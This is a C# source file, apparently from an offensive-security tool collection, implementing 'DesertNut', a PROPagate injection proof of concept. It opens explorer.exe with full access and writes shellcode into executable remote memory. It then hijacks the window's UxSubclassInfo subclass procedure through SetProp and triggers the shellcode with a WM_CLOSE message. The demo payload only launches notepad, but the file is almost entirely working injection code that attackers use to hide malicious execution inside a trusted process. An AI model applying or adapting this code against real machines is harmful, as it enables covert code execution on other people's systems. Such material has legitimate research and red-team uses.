mirror of
https://github.com/FuzzySecurity/Sharp-Suite
synced 2026-06-08 11:08:12 +00:00
158 lines
8.2 KiB
C#
158 lines
8.2 KiB
C#
using System;
|
|
using System.Collections.Generic;
|
|
using System.Text.RegularExpressions;
|
|
using Console = Colorful.Console;
|
|
using System.Drawing;
|
|
using System.Runtime.InteropServices;
|
|
|
|
namespace DesertNut
|
|
{
|
|
class Program
|
|
{
|
|
public static void PROPPagate()
|
|
{
|
|
// Search for target subclass in explorer
|
|
Console.WriteLine("[+] Searching for Subclass property..", Color.LightGreen);
|
|
List<DesertNut_h.WndPropStruc> CallResult = DesertNut_h.EnumSubClassProps(false);
|
|
foreach (DesertNut_h.WndPropStruc Entry in CallResult)
|
|
{
|
|
if (Entry.ParentClassName == "Progman" && Entry.ChildClassName == "SHELLDLL_DefView")
|
|
{
|
|
DesertNut_h.TargetSubclass = Entry;
|
|
}
|
|
}
|
|
|
|
// Check result
|
|
if (DesertNut_h.TargetSubclass.dwPid == 0)
|
|
{
|
|
Console.WriteLine("[!] Unable to find property..", Color.Red);
|
|
return;
|
|
} else
|
|
{
|
|
Console.WriteLineFormatted("{0} {4}{1} " + DesertNut_h.TargetSubclass.dwPid + "{3} {5}{1} " + DesertNut_h.TargetSubclass.ImageName, Color.White, DesertNut_h.sProperties);
|
|
Console.WriteLineFormatted(" {2} {9}{1} " + DesertNut_h.TargetSubclass.ParentClassName + "{3} {10}{1} " + DesertNut_h.TargetSubclass.ChildClassName, Color.White, DesertNut_h.sProperties);
|
|
}
|
|
|
|
// Fetch Subclass header
|
|
IntPtr pLocalHeaderCopy = DesertNut_h.ReadSubclassHeader(DesertNut_h.TargetSubclass);
|
|
if (pLocalHeaderCopy == IntPtr.Zero)
|
|
{
|
|
Console.WriteLine("[!] Failed to duplicate subclass header..", Color.Red);
|
|
return;
|
|
}
|
|
|
|
// Open process
|
|
IntPtr hProc = DesertNut_h.OpenProcess(0x1F0FFF, false, (int)DesertNut_h.TargetSubclass.dwPid);
|
|
|
|
// Remote shellcode alloc
|
|
Console.WriteLine("[+] Allocating remote shellcode..", Color.LightGreen);
|
|
IntPtr rScPointer = DesertNut_h.VirtualAllocEx(hProc, IntPtr.Zero, (uint)DesertNut_h.NotepadSc.Length, 0x3000, 0x40);
|
|
if (rScPointer == IntPtr.Zero)
|
|
{
|
|
Console.WriteLine("[!] Unable to allocate shellcode in remote process..", Color.Red);
|
|
return;
|
|
} else
|
|
{
|
|
Console.WriteLineFormatted(" {2} {15}{1} " + DesertNut_h.NotepadSc.Length, Color.White, DesertNut_h.iProperties);
|
|
Console.WriteLineFormatted(" {2} {16}{1} " + "0x" + String.Format("{0:X}", (rScPointer).ToInt64()), Color.White, DesertNut_h.iProperties);
|
|
// Write the byte array
|
|
uint BytesWritten = 0;
|
|
Boolean WriteResult = DesertNut_h.WriteProcessMemory(hProc, rScPointer, DesertNut_h.NotepadSc, (uint)DesertNut_h.NotepadSc.Length, ref BytesWritten);
|
|
if (!WriteResult)
|
|
{
|
|
Console.WriteLine("[!] Failed to write shellcode..", Color.Red);
|
|
DesertNut_h.VirtualFreeEx(hProc, rScPointer, 0, 0x8000);
|
|
return;
|
|
}
|
|
}
|
|
|
|
// Rewrite copy of SUBCLASS_HEADER
|
|
Console.WriteLine("[+] Rewriting local SUBCLASS_HEADER..", Color.LightGreen);
|
|
// Recast Ptr2Struct, we need a rewrite SUBCLASS_HEADER->CallArray->pfnSubclass
|
|
DesertNut_h.SUBCLASS_HEADER SubclassHeader = new DesertNut_h.SUBCLASS_HEADER();
|
|
SubclassHeader = (DesertNut_h.SUBCLASS_HEADER)Marshal.PtrToStructure(pLocalHeaderCopy, typeof(DesertNut_h.SUBCLASS_HEADER));
|
|
SubclassHeader.CallArray.pfnSubclass = rScPointer;
|
|
|
|
// Remote SUBCLASS_HEADER alloc
|
|
Console.WriteLine("[+] Allocating remote SUBCLASS_HEADER..", Color.LightGreen);
|
|
// Recast once more back to ptr, this is ugly but unfortunately I'm still a C# halfwit ¯\_(ツ)_/¯
|
|
IntPtr pLocalHeader = Marshal.AllocHGlobal(Marshal.SizeOf(SubclassHeader));
|
|
Marshal.StructureToPtr(SubclassHeader, pLocalHeader, true);
|
|
byte[] HeaderArray = new byte[Marshal.SizeOf(SubclassHeader)];
|
|
Marshal.Copy(pLocalHeader, HeaderArray, 0, Marshal.SizeOf(SubclassHeader));
|
|
IntPtr rHPointer = DesertNut_h.VirtualAllocEx(hProc, IntPtr.Zero, (uint)Marshal.SizeOf(SubclassHeader), 0x3000, 0x40);
|
|
if (rHPointer == IntPtr.Zero)
|
|
{
|
|
Console.WriteLine("[!] Unable to allocate Subclass header in remote process..", Color.Red);
|
|
DesertNut_h.VirtualFreeEx(hProc, rScPointer, 0, 0x8000);
|
|
return;
|
|
}
|
|
else
|
|
{
|
|
Console.WriteLineFormatted(" {2} {17}{1} " + Marshal.SizeOf(SubclassHeader), Color.White, DesertNut_h.iProperties);
|
|
Console.WriteLineFormatted(" {2} {18}{1} " + "0x" + String.Format("{0:X}", (rHPointer).ToInt64()), Color.White, DesertNut_h.iProperties);
|
|
// Write the byte array
|
|
uint BytesWritten = 0;
|
|
Boolean WriteResult = DesertNut_h.WriteProcessMemory(hProc, rHPointer, HeaderArray, (uint)Marshal.SizeOf(SubclassHeader), ref BytesWritten);
|
|
if (!WriteResult)
|
|
{
|
|
Console.WriteLine("[!] Failed to write Subclass header..", Color.Red);
|
|
DesertNut_h.VirtualFreeEx(hProc, rScPointer, 0, 0x8000);
|
|
DesertNut_h.VirtualFreeEx(hProc, rHPointer, 0, 0x8000);
|
|
return;
|
|
}
|
|
}
|
|
|
|
// Update original subclass procedure with SetProp
|
|
Console.WriteLine("[+] Updating original UxSubclassInfo subclass procedure..", Color.LightGreen);
|
|
DesertNut_h.SetProp(DesertNut_h.TargetSubclass.hChildWnd, "UxSubclassInfo", rHPointer);
|
|
// Trigger shellcode execution
|
|
Console.WriteLine("[+] Trigger remote shellcode --> notepad..", Color.LightGreen);
|
|
DesertNut_h.PostMessage(DesertNut_h.TargetSubclass.hChildWnd, 0x10, IntPtr.Zero, IntPtr.Zero); // 0x10 = WM_CLOSE
|
|
// Our custom shellcode is keyed on this!
|
|
// We sleep 200ms to avoid winning a race against the callback
|
|
// Set struct -> call pfnSubclass -> revert struct -> free evil stuff
|
|
System.Threading.Thread.Sleep(200);
|
|
|
|
// Restore original subclass procedure with SetProp
|
|
Console.WriteLine("[+] Restoring original UxSubclassInfo subclass procedure..", Color.LightGreen);
|
|
DesertNut_h.SetProp(DesertNut_h.TargetSubclass.hChildWnd, "UxSubclassInfo", DesertNut_h.TargetSubclass.hProperty);
|
|
|
|
// Fee remote shellcode
|
|
Console.WriteLine("[+] Freeing remote SUBCLASS_HEADER & shellcode..", Color.LightGreen);
|
|
DesertNut_h.VirtualFreeEx(hProc, rScPointer, 0, 0x8000);
|
|
DesertNut_h.VirtualFreeEx(hProc, rHPointer, 0, 0x8000);
|
|
}
|
|
|
|
static void Main(string[] args)
|
|
{
|
|
// Banner
|
|
DesertNut_h.PrintBanner();
|
|
|
|
if (args.Length == 0)
|
|
{
|
|
Console.WriteLine("[!] No arguments given..", Color.Red);
|
|
Console.WriteLine(" => -l(--ListSubclassWndProps) List potentially injectable properties.", Color.LightGreen);
|
|
Console.WriteLine(" => -i(--Inject) Inject notepad shellcode into explorer.", Color.LightGreen);
|
|
}
|
|
else
|
|
{
|
|
int ListSubclassWndProp = Array.FindIndex(args, s => new Regex(@"(?i)(-|--|/)(l|ListSubclassWndProps)$").Match(s).Success);
|
|
int PROPagate = Array.FindIndex(args, s => new Regex(@"(?i)(-|--|/)(i|Inject)$").Match(s).Success);
|
|
if (ListSubclassWndProp != -1)
|
|
{
|
|
List<DesertNut_h.WndPropStruc> CallResult = DesertNut_h.EnumSubClassProps(true);
|
|
if (CallResult.Count == 0)
|
|
{
|
|
Console.WriteLine("[!] Unable to get Subclassed Window Properties..", Color.Red);
|
|
}
|
|
return;
|
|
} else if (PROPagate != -1)
|
|
{
|
|
PROPPagate();
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|